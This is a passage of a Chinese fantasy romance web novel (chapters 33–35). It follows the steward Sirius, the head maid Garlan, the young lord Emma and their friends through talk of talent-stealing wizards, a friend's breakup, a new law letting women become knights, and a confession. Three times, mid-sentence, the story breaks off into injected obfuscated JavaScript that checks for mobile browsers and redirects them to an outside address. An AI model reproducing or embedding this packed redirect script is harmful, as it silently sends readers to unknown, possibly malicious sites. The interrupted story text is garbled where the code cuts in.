“在人的社会出现之前,魔法早就已经存在。它本身没有好坏之分,但人类总是因为自己的使用为魔法附加意义,想想感到可悲。” “绕口。”嘉兰啧声,默了片刻,说,“你从来没有否认过我叫你‘巫师’。” “有什么好否认的吗?”西里斯无所谓地说。 “不管是不是真的巫师,都不喜欢被这么称呼。”嘉兰说,“能够成为‘魔法师’的,是蒙受神明恩眷的天赋者。但也有些没有天资的人,通过杀死拥有魔法天赋的幸运者,夺走他们的才能,而成为了后天的‘魔法师’。 “为了得到能力而杀死同类,这种行为为人不齿。所以人们称呼这些人为‘巫师’。” “民间流传的大概是这个程度吗?”西里斯说,“大部分差不多。但怎么得到‘才能’,听得出没有详细说法,怕人模仿。 “不是所有人的‘天赋’都可以被夺走,这种情况大多出现于‘混血’身上,尤其是兽类特质明显的混血。他们的‘才能’往往集中于部分身体器官。 “可能是角、尾巴、爪子,也可能是普通的骨髓、肋骨、心脏。这些器官上具有的,和魔力之间的联系流动。没有魔法天赋的人要是吃掉这些特定器官,会有几率获得相应的才能,但也有不可避免的副作用。 “会造成什么负面影响因人而异,轻则影响精神状态,重则直接暴毙。分辨谁的天赋可以被夺走、哪个器官是特殊的就挺麻烦了,吃下去能不能得到天赋,会有什么样的副作用也都不确定。 “因为隐患太多,那些贵族们才不敢自己尝试,把那些‘好机会’交给自己的看门狗们,看看能不能在其中博到彩头。 “黑市上一直很热衷于这些特殊器官买卖,因为总有人有兴趣。有些贵族世代研究出了些法子,能够更有效地分辨和稳定获得魔法天赋的概率,有没有这种技巧也是分辨这个家族是否历史悠久的法子之一……呵呵,听了是不是很倒胃口?” 嘉兰说:“还行。所以那些贵族手下才总有那么多……‘魔法师’?” “后天的‘巫师’和先天的‘魔法师’,看起来几乎没有差异。现在人们用于决定称呼倾向的,基本是主观情绪罢了。 “觉得谁看着不像好人就是巫师,觉得谁是好人就一定是魔法师。”西里斯说,“我对这种评价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023592|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无所谓,所以你想怎么叫都行。” 嘉兰问:“那你有为了夺走某个魔法师的器官,而杀死他吗?” “有。”西里斯的口吻平淡,回答得没有犹豫。 “为什么不否认?”嘉兰看着他,“如果你说‘没有’,我会相信的。” 西里斯挑了挑眉毛:“我从来没说过自己是什么好人。我做过的事,可不比你们所不齿的巫师的行径要高尚。” “你的魔法才能来自于别人?” “我不想回答这个问题。”西里斯说,“你在对我抱有什么不切实际的期待?” 嘉兰想了两秒,嘁一声:“算了,又不是第一天认识你。” 她走出两步,漫不经心一样说:“那凯呢?他的才能,是可以被夺走的吗?” “恭喜你,他是个纯血人类,没有这种忧虑。”西里斯说,“普通人得到特殊器官或许能成为魔法师,可以实现从零到一的突破性改变,但魔法师已经不需要这种帮助了。” “不是吃得越多越厉害吗?” “短时间内会产生自己被魔法更加青睐的错觉,但实际上只有副作用在层层叠加。当然,已经无所谓违背道德窃取才能的巫师,其中不愿意相信自己的上限已经注定,无底线贪心到自取灭亡的人也多的是。” 西里斯垂下目光:“魔法本身……绝对依赖于天赋,是生来就注定的才能。这事实早就比任何努力后的无果都残酷了。” “你很少解释那么多。”嘉兰笑了,“怎么,怕我动这种歪念头?” “你以后会接触更多贵族,早点深入了解这些黑暗面有助你减少吃亏。”西里斯说,“但即使是人造的巫师,能用的魔法让普通人应付已经够呛。你也没法每次都用屏蔽魔法的法阵对付他们。” “那法阵不是对你没用吗?” “对一般巫师是有用的。但他们也会小心不进别人设好的套里。” “‘一般巫师’,”嘉兰挑眉,“你跟他们区别在哪里?” “我比他们更厉害。”西里斯面无表情地说。 “你这种时候怎么一点都不谦虚?” “这是陈述事实,不是夸耀。”西里斯说,“从人身上窃夺才能的巫师,不可能比我更强大。” 嘉兰看了他一会儿,西里斯没打算追加解释。 “好吧。”她说,“道恩先生以前的下属里,就有他雇佣的魔法师。道恩先生过世后,他也继续为布雷德尔家工作,在你们到费城之后,他跟着戴斯一起离开了。 “你没有挽留,也没找新的魔法师,佣人基本都用着旧的。贵族的斗争里从不缺魔法的影子,你如果不是个没有经验的蠢货,就不会犯那种错误。除非,你自己就是魔法师。” “你还是叫我巫师算了。”西里斯说,“听着真不习惯。” 嘉兰给了他个“你什么毛病”的眼神。 “很常见的想法。”西里斯淡淡道,“那些猜测我是巫师的贵族们,也差不多是这样的考虑。很正确的思路。” “你完全没想着掩盖。” “从他们有猜测到今天,他们做了什么足够威胁到我的事吗?” 嘉兰笑了一声,没有反驳。 西里斯向身边看过去,嘉兰走在更靠窗的那一侧。月光透过窗户,在地面落下她脚步轻盈的身影,裙摆像蝴蝶灵巧地跃动。 西里斯说:“你今天心情很好?” 嘉兰爽快地应道:“嗯,我今天发薪水了。” 她神色里莫名得意,神采骄傲又明亮,耳坠也跟着一晃一晃。 西里斯模糊想了一下,今天好像确实是工资日。他不管薪水发放的事,对此也没有喜悦感。 嘉兰不像会因为发工资就高兴的人——算了,也难说。 西里斯懒得多想,她说是就是吧。 “怎么样,看在我刚发了薪水的份上,要不请你吃顿饭?”嘉兰的心情看来确实很好,甚至作出了如此邀请。 但西里斯显然不会领情。 他看了看走廊上的时钟:“两点了,你睡不睡了?” 嘉兰啧舌:“那你呢?这可不是你房间的方向。” “我今天不困。” “你到底哪里有立场指责我的作息?” “大人的立场。小孩子要早睡。”说着,西里斯停住脚步,前面已经是宿舍区域的转折路口。 他转过方向,对嘉兰挥了挥手:“晚安。” 33.闪光 下午在下雨,天空阴沉沉的,又潮又闷。 雪莉说好下午三点会在房间等她,傍晚会有客人来访,她们要一起做点安排。但艾玛从办公室回到房间的时候,并没有看到她的身影。 她走到隔壁贴身女佣的房间前,敲了敲门,想看看她在不在。 门板没掩实,一扣就开了。 艾玛熟悉的声音和女孩的哭声闷闷地传出来。 莫妮卡坐在床上,床单被褥都是凌乱的,长发和裙子也是凌乱的,抱着双腿埋在膝上哭。雪莉正坐在一边拍着她的背,听到有人推开门,抬头看见了艾玛。 艾玛关上门,走进来,看了看莫妮卡,对雪莉轻声道:“怎么了?” 雪莉撇了下嘴:“还不是那个杰利!他劈腿把莫妮卡甩了,我就说——” 她大有恨铁不成钢还要再骂两句的意思,但听到莫妮卡哭声更响了,又没能忍心,一边安慰莫妮卡一边咬牙恨恨道:“别伤心了,就说那小子不值得!好啦好啦……没事的,早点看清他的真面目就好嘛,我们下次找更好的……” “是我……还不够好……”莫妮卡一边哭一边磕磕绊绊地说,“是我不够漂亮……可爱……懂事……他才、才会喜欢别人……” “我就说是那小子垃圾!你不要什么都往自己身上找问题!”雪莉真是越说越气,明明在安慰莫妮卡,自己头上的翅膀却先炸起来了。 艾玛摸了摸雪莉的翅膀,安抚她的情绪。 艾玛走到莫妮卡的另一边,贴着她坐在了床上,也伸手拍拍她的背。 “艾玛……艾玛、你觉得呢?”莫妮卡抬起哭得红肿的眼睛,又低下头,抽噎着,“我是不是、真的很糟糕?所以、他才……” 艾玛想了想,说:“我不知道你们之间发生了什么。但是,我觉得莫妮卡你很好。” 莫妮卡抖了抖嘴唇,又哭了起来:“我真的很喜欢他……以为他也很喜欢我的……” 艾玛摸了摸她的头,听她一边哭一边说。 雪莉坐在一边盯着地板,闷声不吭地听。 就是一些琐碎的小事,莫妮卡总会记得大大小小的事里她做得不够完美的一切,就像从小在家里,做错一点无关紧要的小事她就会被父母责打。她总是小心翼翼,提心吊胆,但仍避不开那些无处不在的痛苦。 再努力,还是会做错事情。 越紧张,就越容易犯错。 到头来她相信自己真像他们评价的那样一无是处,什么都做不好。 得到异性的喜爱对莫妮卡来说是受宠若惊。 她认真地、小心翼翼地对待这段感情,很珍惜自己得到的好意。 艾玛也知道她在恋爱里花了多少精力,时不时听到莫妮卡向她提起恋爱里细细碎碎的、让她高兴的小事。 恋爱里的莫妮卡是幸福而闪闪发光的。就算雪莉多么不看好,在一边嘀嘀咕咕发牢骚,看见莫妮卡高兴的样子,怨言也要吞回一半。 但是幸福的幻觉打碎了,恋爱的光辉消失了,她又变回那个感觉不到自己价值的孩子,甚至加倍痛苦地蜷缩起来,就像在灰暗的雨天里被淋透了的小动物。 莫妮卡从一件一件小事里自己做得不够体贴、应对不够得体、表现不够优秀的地方一点一点反省自己。 艾玛说,可这些都是小事啊。这一件,那一件,都是很小的小事。这些小事全部加起来,也只是很小的小事。 如果他为这种小事离开你,那一定是他的问题。他肯定也有做得不好的地方吧? 莫妮卡抽噎一会儿,很犹豫很犹豫地,终于慢慢说出一点杰利的缺点,他平日里做事让她伤心的地方。 很小的小事,也是从角角落落挖出来的细碎的缺点。莫妮卡在意自己身上的缺点,也在乎别人对待她时很细微的地方。 她虽然没有勇气提,但心里却实际是记着的。 雪莉听了一会儿就按不住了,论对杰利的缺点,她可有好多话想说,而且都是从人格上开始对他进行彻彻底底的批判。 这次莫妮卡不拦着她了,雪莉终于骂了个爽,把那小子说得一无是处。 她正骂到兴头上,觉得自己口才很好,甚至有些得意的时候,莫妮卡低低地,难过地说:觉得喜欢这么糟糕的杰利的自己很不争气,被这么糟糕的杰利喜欢,还为此高兴的自己也真的很没用。 雪莉沉默了。 雪莉的翅膀耷拉下来了。 雪莉无助地看向艾玛。 隔着莫妮卡,艾玛要拍她的背有点难度。 雪莉贴过来,把莫妮卡夹在中间往艾玛的方向蹭,三个人悲伤地挤成一团。 准确来说,只有艾玛不悲伤。她一会儿拍拍雪莉的背,一会儿摸摸莫妮卡的头,并没有被她们的情绪感染,只是温和又耐心地听着,偶尔讲两句。 艾玛一直如此,反而让莫妮卡和雪莉感到可靠。 莫妮卡说了一堆丧气话,像是要把对自己、对杰利、乃至对生活的希望和价值都贬进灰尘里一样。 说着说着,却不哭了,好像已经冷静下来,低沉地散发着悲伤的气息。 艾玛按着她的肩膀说:“我就觉得,莫妮卡有很多优点啊。你很细心,每次答应好的事情就不会忘记,雪莉就总是忘记。” 雪莉瞪大眼,感到突然被朋友伤害了。 但她看看艾玛看她的眼神里的暗示,再看看莫妮卡,一咬牙,一狠心:“对,就是嘛……你这方面一直比我好。” 雪莉受不了自贬式夸奖他人,但单纯的夸朋友,她是很擅长的。 找到自己熟悉的赛道,立刻就冲刺了上去:“你洗衣服又快又干净。我有事找你帮忙的时候你也不说我,会很认真地帮我把事做好。我是希望你不要对谁都这么好啦!但这么对我没关系,对艾玛也没关系。还有啊,你每次买到好吃的都会给我也留一份,我好感动的……” 莫妮卡本来已经安静了,听她们说着说着,又突然哭了起来。 雪莉的声音被她的哭声盖过了,手足无措,最后还是学着艾玛,抱了抱莫妮卡,嘴里嘀咕着没事的没事的别难过了啊……我请你吃好吃的,晚上我们去厨房找苔丝姐开小灶,周末我陪你去集市上逛街,开心起来就好了别惦记那些不愉快的东西了,过去就好啦…… 莫妮卡哭了好一会儿,慢慢安静了。 艾玛摸了摸她的头,雪莉也摸了摸。 “谢谢你们。”莫妮卡说。 “嗯嗯应该的!我们是好朋友嘛。”雪莉什么情绪都从心里过得很快,看到莫妮卡心情好转了,也很快高兴起来。 “我……可以……”莫妮卡小声说,声音太低了,艾玛都没听清。 “你刚刚说什么?” 艾玛低过头,雪莉也贴过来。 莫妮卡埋在膝盖上,很低很低地嗫嚅说:“你们……如果想摸的话,可以,摸一下……我的尾巴……” 莫妮卡没说完,声音就快化进双膝间了,头几乎要整个埋下去。 雪莉的翅膀蹭地立起来了,艾玛的神情也变得更认真:“真的可以吗?” 从认识到现在,莫妮卡一直没好意思给她们摸自己的尾巴。 她只是为此感到羞耻,因为在家里,只有她长着这样奇怪的、被兄弟姐妹嘲笑、被父母厌恶的尾巴。 她心里其实有一点点喜欢这条小尾巴,因为它毛茸茸的,她喜欢毛茸茸的东西。 她对杰利提过一次,对方就很好奇。她对恋人的要求没办法拒绝,就给他看了看。 小男孩或许没什么恶意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029075|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就是很理所当然地直接伸手摸了摸它,发出很惊奇的声音。那种惊讶的评价也让莫妮卡感到难过,她几乎当时就要哭了。 埋伏在附近的雪莉一个箭步冲上来对着杰利就是一脚,骂着没教养的小流氓爸妈没教过你不能对女孩子动手动脚吗! 莫妮卡当时担心朋友和恋人之间会发生更多误解和矛盾,但现在想起来,又有很多说不明白的情绪和委屈浮现出来。 她觉得有点开心,又莫名其妙地很难过很难过。 “真的可以吗?”一向大大咧咧如雪莉都谨慎地再求证了一次。 “就……这一次……”莫妮卡很低很低地说。 雪莉和艾玛对视一眼,慢慢地掀起她身后的裙摆,莫妮卡没有故意压着裙子,因此拉起来很轻松。原本被压扁了的、绒绒一团的短尾巴,没有了衣料的掩盖,唰地一下就蓬开来,像是一团厚实的蒲公英。 两人下手都很小心。触感毛茸茸的,最里面似乎有尾骨,因为莫妮卡的紧张,她们一碰,尾巴就一卷。 “好可爱!”雪莉嗷嗷感慨,“啊——真的很可爱,没什么不好意思的嘛,你看我还头上有翅膀。我平时给你摸我的角,你给我摸尾巴嘛,好不好?” “不行。”莫妮卡瓮声瓮气地拒绝对方的得寸进尺。 艾玛比较珍惜当下,先专注地摸摸她的尾巴,任雪莉在那里一边摸一边恋恋不舍地讨价还价。 雪莉一边跟莫妮卡打商量一边对她的尾巴大夸特夸,夸到后面感觉不够,又回到了夸莫妮卡本人这个话题上来。 莫妮卡本来还能坚定地拒绝两句,越听越抬不起头,把脸埋进怀里,用双臂把自己环了个严实。雪莉还要凑过去,在她耳边继续嘀嘀咕咕。 艾玛看见,莫妮卡的耳尖红了,也凑过去,轻声说:“雪莉刚刚说得都对。莫妮卡真的很可爱,尾巴也很可爱。” 莫妮卡把耳朵也圈起来了,拒绝她们的糖衣炮弹。 那是艾玛十五岁时候,初秋的一个傍晚。走远的夏季身后跟着潮湿的雨声来了。 艾玛走进房间的时候还能听见雷声,雨水滑过关紧的窗玻璃。 她坐在莫妮卡床上,背后是房间的窗户。窗帘留着一道缝,她们窸窸窣窣讲着更多悄悄话,夕阳的光晕刺破了阴沉的天空,从那缝隙透进来。 艾玛看过去,看到夕阳里,外面仍然在下雨,挂在草叶上的水珠一边流淌一边闪光。 她想她刚刚见证过别人的恋爱,从开始到失败。 恋爱让莫妮卡非常开心,也让莫妮卡如此悲伤。 事实上,这其中无论哪种情绪,艾玛都不是非常理解。 她感到懵懵懂懂的,书上的爱情和现实里身边朋友的恋爱,都牵动着她不理解的变化。 西里斯能理解这些感情吗? 艾玛想,他好像什么事都明白。 但西里斯说他也没谈过真正的恋爱,这体会只有经历过才能理解吗? 艾玛很少见西里斯有过多的情绪变化,没有狂喜,也没有悲伤。只有那一次,艾玛见他生过气。 如果爱情会牵动人的情绪,是因为没有爱情,他才没有那些情感变化?还是反过来,因为没有情感变化,才没有找到爱情? 再或者,西里斯会讨厌这些不理智的感性体现吗? 他是否会觉得大哭大笑太狼狈,因此反而会拒绝甚至讨厌恋爱呢? 艾玛胡思乱想了很多假设,又回过神,觉得全都是空想。 不明白。 艾玛觉得,不能理解,好困难。 雨水从叶片上坠落,砸在另一片叶子上,溅开一朵小小的水花,在夕光里像是火星一闪。 艾玛看着那水花消失了,不知道为什么,突然很想见到西里斯。 34.落地 费城每年的法典修订会议在揽花节之前。 揽花节是费拉约尔斯最有特色的节日,鲜花又有新生和活力的寓意。在这之前修完法典,有图个新气象、好兆头的意思。 光明历1386年,艾玛十五岁,第一次参加费城法典修订的那年,会议在揽花节前照常举行,开了三天后正常落幕。 修改后的法律条规在揽花节结束后就大多直接公布实施,只有少数特殊的还要留待观察,或者等待某些条件齐备才能正式落实。 但没有正式公布的法律,不意味着外界就无从知晓。甚至在会议召开期间,坊间就开始传开这样的消息: 费拉约尔斯的女领主,要废除“女人不能成为骑士”的法律! 这种时候,传言里艾玛的年龄重要性反而要次上一级,作为辅助证明她还任性幼稚的证据。 更重要的,是人们已经知道,这位新领主是女性。 不少人第一反应就是:因为领主也是个女的,看不惯这种看轻女人的法律。 有人觉得新领主到底年轻任性,做决定还是太凭一口气;有人觉得这丫头太狂妄,刚掌权就要挑战一国的传统;更有人冷笑鄙夷她的天真愚蠢,认为现实很快就会给她一个教训。 毕竟,这么多年来,波克奈利王国都没有女骑士。 这个没有女骑士的王国,这座没有女骑士的城市,数十数百年来仍旧和平、安逸、欣欣向荣,这不就证明了这项法律的正确? 人们早就不记得这项法律是从什么时候开始存在的了,久远到成为习惯的东西会被认定为理所当然。 即使追溯到波克奈利最早的历史,曾有被誉为英烈的女骑士的身影,人们也早就觉得,那不过是传说罢了——或者,恐怕不是什么骑士,是女魔法师呢? 魔法师里确有不少女性,这还是被人们普遍认同的。 毕竟,魔法师的常规印象就是坐着动动手指,魔法就把一切事物安排妥当,这与人们期待的理想女性不矛盾。不像骑士的刀剑盔甲,汗水鲜血,脏污的和荣耀的一切,都与女性的形象无关。 商贸的条款、乃至税金的利率似乎都没这么引人注意过,民众间弥漫着对这项还没有个实证的法律的议论。 虽然据传这项法律还只会在费拉约尔斯推行,但同在波克奈利境内的相邻城市也听到风声,同样惊异地讨论起来。 民众的讨论多围绕着传统、伦理、道德,而更有心些的人已经阴谋论起来。 例如,费拉约尔斯的女领主,是否为了更好地掌握她城市的军队,才要开始培养女性的骑士? 女性虽然不被禁止成为领主,但在波克奈利王国,领主是女性的城市仍然极为少数。 布雷德尔·戴斯的昏庸让许多民众失望,也有人提过是否由他的姊妹布雷德尔·德尔薇接任领主会更好,但这种声音微弱。 他们的父亲没有留下遗嘱,在两位子女之间,法律拥护了那位兄长。 女性领主没有违反法律,但也不受传统的欢迎。城市的兵力集中在骑兵营,将领也都是男性,如果他们不服这位年幼的女领主,是完全可以想象的事。 领地的兵力,名义上仍然效忠于国家,试图明目张胆地在其中培养自己的势力——那不是有造反之嫌吗? 揽花节后的修订法案公布万众瞩目,但人们最关注的这一条并没有出现。 许多人觉得,果然是些风言风语,这么荒谬的事怎么会是真的呢?吵闹一阵便散去了。 但也有不少人仍然相信,因为过于荒谬,反而不是空穴来风。 在那之后数个月,断断续续有传来消息,诸如领主和骑兵营的将士谈过话,骑兵营似乎在新建什么设施,有些东西确在改变。 有人将这事报到王室,但王室似乎早知消息,对此不置一词,直到费拉约尔斯真正公布了关于骑士的新法律,王室也没有做出任何阻止。 骑士相关的新法律颁布时,是1386年的11月末。 新年将近,人们已经开始忙碌于过年的繁多事务,这项法律就这样猝不及防、却又理所当然地正式公布了。 费拉约尔斯自此之后,不再允许拒绝女人成为骑士。 反对的声浪比许多人预想的要低上很多,中间那几个月的过渡消化了太多东西。 这是只在费城施行的新法,但王室的沉默让不少人猜测,波克奈利的其他城市或许也将有变化,这是个尝试。 参与法案修订会议的人中,有普通的富豪商人,有名门贵族,艾玛他们早知道,这件事只要提起,就一定是按不住的。他们也没打算保密。于是从揽花节之前,他们就从舆论、政治、实行等各方面上都开始了准备安排。 王室那边西里斯花了时间打通,骑兵营那边和将领士兵们陈明利害,谈定了双方都可以接受的条件。 考虑到将来女性进入兵营训练,还要建设供给女性住宿和训练的设施场地,还有教导女骑士的教师人选、教授方式、考核标准…… 嘉兰在其中帮了很多忙。 她在城主多蒙身边工作时期,就与各界人士有过来往,有关她的姓氏和出身都不是秘密。她从小又常去骑兵营,和许多骑士都相熟,在说服上也起到了不少作用。 这几个月来她一直忙前忙后,有段时间都没回领主的城堡。 西里斯对她说,女仆长天天不在岗位上,是不是该开了。 嘉兰条理清晰,说女仆长为领主工作,领主的意愿就是我的努力方向。我为艾玛大人的目的超额加班,你是不是该升我工资? 艾玛确在为她撑腰。 西里斯说行吧,要是有需要我一定给你报销医药费。 嘉兰出门前给他比了个中指。 布雷德尔兄妹离开费城后,一批佣人跟着他们走了,也有一部分对城堡的新主人并不信任,选择了辞职。 艾玛不对外露面的时期,佣人少些也不影响城堡运转,但重新进入社交模式后,西里斯就招了新的佣人。 如果不是这种混乱的时候更需要西里斯压着场子,嘉兰其实挺相信他会干脆招个新管家来的。事实上他已经在有意培养一些新人如何工作,在嘉兰看来,真是想罢工的心意昭然若揭。 凯不知不觉已经成了前辈,在一圈新人中忙前忙后。他素来热心,为人又开朗健谈,在新人中也很有人气。 为了坚持自己不恋爱不结婚的信条,也为了他的决心和他继续向女性献殷勤的态度不显出矛盾,凯现在一直戴着尾戒了,很少再摘下来。 真正的前辈们宽和地说,没事,凯是个好心又体贴的傻子,时间长了你们会理解这一点的。 迪尔已经是城堡侍卫队的副队长,事实上差不多该升队长了。他的队长前辈已经四十六岁,想退休的话是可以退休了。 但那位老队长说:不!我就是不想让这小子好过!他给我老老实实再熬着! 迪尔倒是一点没觉得煎熬,他对升职蛮无所谓的,只说队长何必呢,不就是他曾经一二三四五六七八次把队长气得血压直升心率过速吗,这没什么值得惦记的吧? 他真的不是故意的,计较这点事的队长就太小气了。 队长听了当即就捂住自己的心口,旁边的同事赶紧过去给他端水拍背说队长你何苦呢不如退休吧,迪尔是不会醒悟的!你这样万一把自己气过去了怎么办! 各自有各自要忙的事情,凯和迪尔都对嘉兰在忙的事模糊猜到,但问了两句,也被嘉兰敷衍带过,就没细说了。正因为太熟悉,他们才觉得这不是能随便和嘉兰谈的话题。 同事里自然也有人就骑士法律相关的传言想问起嘉兰,但都被嘉兰绕过去,或者不轻不重表示点惊讶迷茫。 这半年她实在太忙,别人逮到她闲话的机会也不多。 十一月末,新法颁布的那天,嘉兰在城堡的庭院里听到同事捎来的消息。 她一直在为相关的事情奔忙,对这法律什么时候公布早就大概有数。 可听到别人用肯定和惊叹的语气提起这事时,那种忙碌里也一直挥之不去的恍惚感终于慢慢散掉了,像是一个轻飘飘的影子落到了地上。 傍晚时,许多佣人的工作暂告一段落,他们聚在一起七嘴八舌地就此议论着。 有疑虑,有惊奇,有困惑,甚至有恼火,但也有人高兴。 嘉兰听着他们议论的声音,看着晚风拂过渐渐昏沉的花园,微笑起来。 凯趴在她一边的桌上,听了一会儿,还是没能忍住,抬头对她道:“既然法律改了,女性可以成为骑士,那嘉兰你不是——” “我什么?”嘉兰睨着他。 凯一噎,嘀嘀咕咕: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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迪尔参加过嘉兰父亲的葬礼,毕竟那事很大,街坊邻里远的近的多少来看过。 迪尔家里和嘉兰的家隔了两个街区,两家本身不太熟,那天迪尔是自己来的。 他沉默着听完致辞,跟着来宾行完应尽的礼仪,在棺材前献了一束街边采来、装饰过的、孩子的花。 然后他找到嘉兰,说,我们本来约好后天要一起去五号洞窟探险,你那天来不了了吧? 那时候他们小伙伴一起玩探险游戏,把哪里的后街、废弃的店铺、有大树的小公园一个一个取上专有的名字,像是他们之间的接头暗号,藏着小小的梦想和秘密。 那几天嘉兰听了太多同情和哀悼,第一次听到有人跟她说起那以外的,好像都很遥远了的约定。 迪尔的眼睛很平静,没有悲伤也没有担忧。 她回答,嗯,去不了了。 迪尔点点头,说,好的,那等你有空我们再一起玩,改天见。 嘉兰说好,改天见。 他们的对话里没有提到作为骑士的父亲,没有提到死亡,葬礼,责任,普通得就像任何一次平常的见面和告别。 因为了解、理解、尊重甚至认同,足够默契,以至于不需要说多余的话。 就像在这个别人猜测嘉兰会因为那新发的法令而有怎样的感伤、遗憾、喜悦或悲伤时,迪尔跳过别人思考和试探的步骤,直接问:要不要出去吃个饭庆祝? 嘉兰还没回答,迪尔又接着说:“我问过西里斯先生了,他说你今天可以翘班,如果不翘的话去跟他说一声。” “去,你带路。”嘉兰一手拎起了还坐着的凯,“今天我请客!” “你请什么啊?”凯仍然不乐。 “我高兴,怎么了?心情好不值得庆祝一下?”嘉兰笑着道,“你们今天要陪我喝几杯啊?” “我是没问题,凯就……”迪尔上下看了看他,“你能不能少穿点?我不想扛你回来的时候太重。” 凯怒了,刚刚憋着的情绪被迪尔一挑炸开,像只愤怒的小鸟:“你说谁不能喝!走就走,试试看!” 迪尔无语:“这还用试,说得像你第一次跟我们喝似的……” “今时不同往日!我觉得我今天一定能把你俩干趴下!” “精神可嘉,希望你的气势能等比增长你的酒量。”迪尔扯住他的后领,“别走那么快,你又不认路。” “是啊,别连酒馆的门都没摸到就倒在路上了。”嘉兰应和道。 “你们两个!” 迪尔跟嘉兰一唱一和,跟着骂骂咧咧的凯走远了。 刚刚沉浸在探讨氛围中的人想起要问问嘉兰对这事的看法时,回头已经找不到人了。 35.阵雨 城堡的庭院一角有个小花房,一半砖土一半玻璃的构造,门上挂着块米色石板,用红色的石笔写着“擅自进入并损害植物者将失眠一周”。 嘉兰在昏暗的夜色里眯起眼睛拼读上面的文字,想着上次看见它时,上面写的诅咒好像还是“三天内每走五步都会绊一跤”。 这是之前打理庭院的花匠申请建的花房,有些花卉单纯种在院子里不好养活,需要外力的干预才能长得漂亮。 许多佣人喜欢来这走走,花匠不在时,有些不那么规矩的人会心痒折几支走,把暴脾气的花匠小老头气得吹着胡子直跺脚。 于是他在门上挂了这么块石板,写上各种警告和怪谈般的诅咒。 佣人们觉得这老头小气,随手折花的行为确少了一些,但大多是不想惹花匠生气,没人把那些诅咒当真。 去年老花匠辞职退了休,石板上仍然写着诅咒,却变了字迹。 那些习惯去花房溜达的佣人本没把这事放到心上,直到石板上诅咒的“困倦”“感冒”“噩梦”统统应验,他们才终于觉出不对来,逐渐敬而远之。 这花房成了佣人里小小的怪谈,直到他们后来才知道,接手花房的不是新入职的花匠,而是西里斯。 新花匠不喜欢栽培那些麻烦娇贵的品种,花房空了一大半,所以西里斯把它接下来,用于栽种自己感兴趣的花卉草药。 他注意到门口的石板,就擦掉上面的字,随手补了别的诅咒后继续挂在那里。 西里斯是个魔法师的事在佣人里是件半公开的事实,那些应验的诅咒顿时也就不值得奇怪。 但仍然有人猜测他是不是在花房里做什么魔药、藏了什么秘宝,勇士们带着正义的探究之心而去,携着各种各样的诅咒而归,终于不敢乱闯了。 西里斯始终没打算做什么解释,他乐得清静。 石板上的诅咒换了一条又一条,性质都不轻不重,玩笑似的。 嘉兰看着石板上熟悉的漂亮字迹想,他倒是有闲心。 夜风吹着她的耳朵,晚餐那些酒的热度慢慢爬到她头上。 嘉兰推开花房的门,看到一片昏暗里一盏亮着的灯。 灯的主人蹲在旁边摆弄花草,暗红色的长发滑下来,落到了地上。 他听见开门,抬起眼睛看了她一眼,就把目光收了回去。 嘉兰笑起来,支在门框上敲了敲自己的额头:“哟,你还真在啊?我听迪尔说过,侍卫队巡逻的时候在花房看见过鬼影……吓得不行,后来发现是你。” 西里斯没回答,修剪着植株的枝条:“喝多了就回去睡觉。” 嘉兰拖着比平常稍重一些的脚步走进花房:“没有,我没醉。凯倒了之后我就没喝了,他的酒量只有我的一半——” 她靠到旁边的墙上,打了个哈欠。 西里斯这下子背对着她了。 嘉兰抱着双臂,闭上眼睛笑了一声:“你晚上真不睡觉的?白天又那么忙,你什么时候休息?” 西里斯说:“你跟他们还没聊够,这么想找人说话?” “法令的事,我说了不算,所以之前都没告诉他们……今天终于告一段落,才跟他们讲明白。凯喝多了,开始哭,我就没讲了……嗯,是有点没说够。”嘉兰咂了下嘴,“反正你看着又不困。” 花房里只有剪子的声音慢慢响着。 “你为这事费了挺多心思的,我也应该谢谢你。”嘉兰说。 “谢谢我们的小领主就行了,我只是在替她完成她想做的事。” “当然,我很感谢她。”嘉兰看着他的背影,歪过头,“又是‘艾玛大人想做的事’。你自己想做什么呢?为了偷懒而工作,在这里剪剪花?” “挺好的。” “这么没劲?”嘉兰听见自己的笑声在胸腔一震,“哎……你知不知道,城堡的佣人里,有人猜你不喜欢女人?他们甚至觉得你也不是喜欢男人,可能对花花草草更有感情。我都快信了。你到底喜欢什么类型的?说来听听看,我答应不笑话你。” “我不跟醉鬼多讲话。你要是忘了自己房间在哪儿,我可以指给你。” “我没醉。” “喝醉的人都这么说。” “我是喝了点,但清醒得很,完全知道自己在说什么做什么。”嘉兰又重复了一遍,“我是真的好奇,你会喜欢什么样的人?” 西里斯为这多余的好奇而皱眉:“这跟你有关系吗?” “有啊。”嘉兰看着他笑了,“因为我喜欢你。我想知道。” 西里斯的动作停下来。 他安静了片刻,说:“你希望我怎么回答你?” 酒意让嘉兰的声音比平时轻飘了些,掺着笑意和倦意,风声里朦胧得像呓语,又字字是清晰的:“就因为怎么想都猜不出来,所以不想了,直接问你听听看,你会怎么拒绝我。” “你知道我会拒绝。” “是啊。”嘉兰说,“就像现在你也不愿意看着我说话一样。” 西里斯顿了顿:“放下自尊说这种话,不是你的风格。” “理解了自己的心情而不承认,也不是我的作风。付出喜欢或许会很狼狈,但我不觉得正视自己感情的样子难看。”嘉兰说,“你是不是早就知道?” 